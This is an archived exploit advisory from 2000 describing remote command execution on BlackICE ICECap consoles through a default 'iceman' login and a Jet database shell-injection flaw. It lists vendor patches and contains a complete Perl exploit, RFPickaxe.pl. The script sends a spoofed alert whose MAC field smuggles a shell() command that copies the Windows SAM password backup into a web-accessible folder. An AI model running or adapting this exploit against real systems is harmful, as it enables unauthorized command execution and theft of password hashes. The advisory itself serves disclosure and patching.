what you don't know can hurt you

RFP2K04.txt

RFP2K04.txt
Posted May 17, 2000
Authored by rain forest puppy | Site wiretrip.net

RFP2K04 - Mining BlackICE with RFPickAxe. BlackICE IDS uses a management console called ICECap to collect and monitor alerts sent by the various installed BlackICE agents. The ICECap user console sits on port 8081 and has the default login of 'iceman' with no password. The second problem is that the software uses, by default, the Microsoft Jet 3.5 engine to store alerts. If you couple that with the shell VBA problem, that means you can push alerts that contain commands to be executed on the ICECap system. Includes RFPickaxe.pl demo exploit.

tags | exploit, shell
advisories | CVE-2000-0325
MD5 | 7ab3538c3154d81d5551eca38825fbea

RFP2K04.txt

Change Mirror Download

---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /---------

Mining BlackICE with RFPickAxe
Remote command execution on BlackICE ICECap stations

------------------------------------/ rain forest puppy / rfp@wiretrip.net

Table of contents:

-/ 1 / For the Black Hats
-/ 2 / For the White Hats
-/ 3 / Forward thinking
-/ 4 / You know you love perl. Admit it.



--/ 1 / For the Black Hats /----------------------------------------------

BlackICE IDS uses a management console called ICECap to collect and
monitor alerts sent by the various installed BlackICE agents. The ICECap
user console sits on port 8081 (included HTTP server), and alerts are
pushed to another server listening on port 8082.

The first problem is that the software uses a default login of 'iceman',
with no password. This means we can log onto the console on port 8081, or
push it alerts on port 8082. What could be more fun than a few false
alerts?

The second problem is that the software uses, by default, the Microsoft
Jet 3.5 engine to store alerts. If you couple that with the shell VBA
problem (CVE: CAN-2000-0325), that means you can push alerts that contain
commands to be executed on the ICECap system.



--/ 2 / For the White Hats /----------------------------------------------

NetworkICE has released ICEcap v2.0.23a, as well as some supporting KB
articles detailing the problem.

ICEcap 2.0.23a
http://advice.networkice.com/advice/Support/KB/q000167/

Jet bug
http://advice.networkice.com/advice/Support/KB/q000164/

Easy injection bug
http://advice.networkice.com/advice/Support/KB/q000166/

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2000-0350 to this issue. This is a candidate for inclusion in the
CVE list (http://cve.mitre.org), which standardizes names for security
problems.



--/ 3 / Forward thinking /------------------------------------------------

I discussed this point at CanSecWest. BlackICE is not the only (security)
application that stores data in a Microsoft .mdb file. So what does use
.mdb's? Well, NT 4.0 WINS, DHCP, CyberCop, NFR-GUI (Windows client), etc.

I leave as an exercise to the reader to look into it. I'd appreciate
anyone doing research into these matters to drop me a note on their
final findings.



--/ 4 / You know you love perl. Admit it. /-----------------------------

#!/usr/bin/perl
#
# RFPickaxe.pl - demo exploit for default ICECap login/alerts
# Disclaimer: I do not provide technical support for my exploits!
#
# Sorry, this requires Unix, due to the `date` call

$|=1;
use Socket;

###############################################################

# IP of ICECap system (assumes port 8082)

$Target="10.10.200.4";

# account info - uses default 'iceman' w/ no password

$account="iceman";
$httpauth="aWNlbWFuOiUzQjclQzYlRkU=";

#-------- attributes of the alert ----------

$id="100005";
$issue_name="Exploit";
$sev="1";

# spoof these

$target="0.0.0.8";
$target_dns="some.host.com";
$det_ip="0.0.0.8";
$det_nbn="SENSOR";
$int_ip="255.255.255.255";
$param="Pickaxe";

# either fake the MAC, or use it to run commands via JET vulnerability

#$det_mac="0000000000000";
$det_mac="|shell(\"cmd /c copy c:\\winnt\\repair\\sam._ ".
"c:\\progra~1\\networ~1\\icecap\\spatch\\en\\sam.exe \")|";

##############################################################


$inet=inet_aton($Target);

$time=`date -u "+%Y-%m-%d %T"`;
$time=~s/ /%20/g;
$time=~s/:/%3a/g;

#path is \program files\network ice\icecap\spatch\en

$alert="accountName=$account&issueID=$id&issueName=$issue_name".
"&severity=$sev&targetNetAddress=$target&targetDNSName=".
"$target_dns&detectorNetAddress=$det_ip&detectorNetBIOS".
"Name=$det_nbn&detectorMacAddress=$det_mac&".
"intruderNetAddress=$int_ip&detectorType=3&startTime=".
"$time&parameter=$param\r\n";

$len=length($alert);

@DXX=();
$send=<<EOT
POST / HTTP/1.0
User-Agent: netice-alerter/1.0
Host: $Target:8082
Authorization: Basic $httpauth
Content-Type: application/x-www-form-urlencoded
Content-Length: $len

EOT
;

$send=~s/\n/\r\n/g;
$send=$send.$alert;

sendraw("$send");

print @DXX;

exit;

sub sendraw { # raw network functions stay in here
my ($pstr)=@_;
$PROTO=getprotobyname('tcp')||0;

# AF_INET=2 SOCK_STREAM=1
eval {
alarm(30);
if(!(socket(S,2,1,$PROTO))){ die("socket");}
if(connect(S,pack "SnA4x8",2,8082,$inet)){
# multi-column perl coding...don't do as I do ;)
select(S); $|=1;
print $pstr;
@DXX=<S>;
select(STDOUT); close(S);
alarm(0); return;
} else { die("not responding"); }
alarm(0);};
if ($@) { if ($@ =~ /timeout/){ die("Timed out!\n");}}}




----/ acks /--------------------------------------------------------------

NetworkICE + eEye, Attrition, w00w00, ADM, Technotronic, USSR

------------------------------------/ rain forest puppy / rfp@wiretrip.net

If anyone wants to donate a skin to my website, contact me.

---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /---------


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    2 Files
  • 18
    Feb 18th
    27 Files
  • 19
    Feb 19th
    32 Files
  • 20
    Feb 20th
    15 Files
  • 21
    Feb 21st
    17 Files
  • 22
    Feb 22nd
    12 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close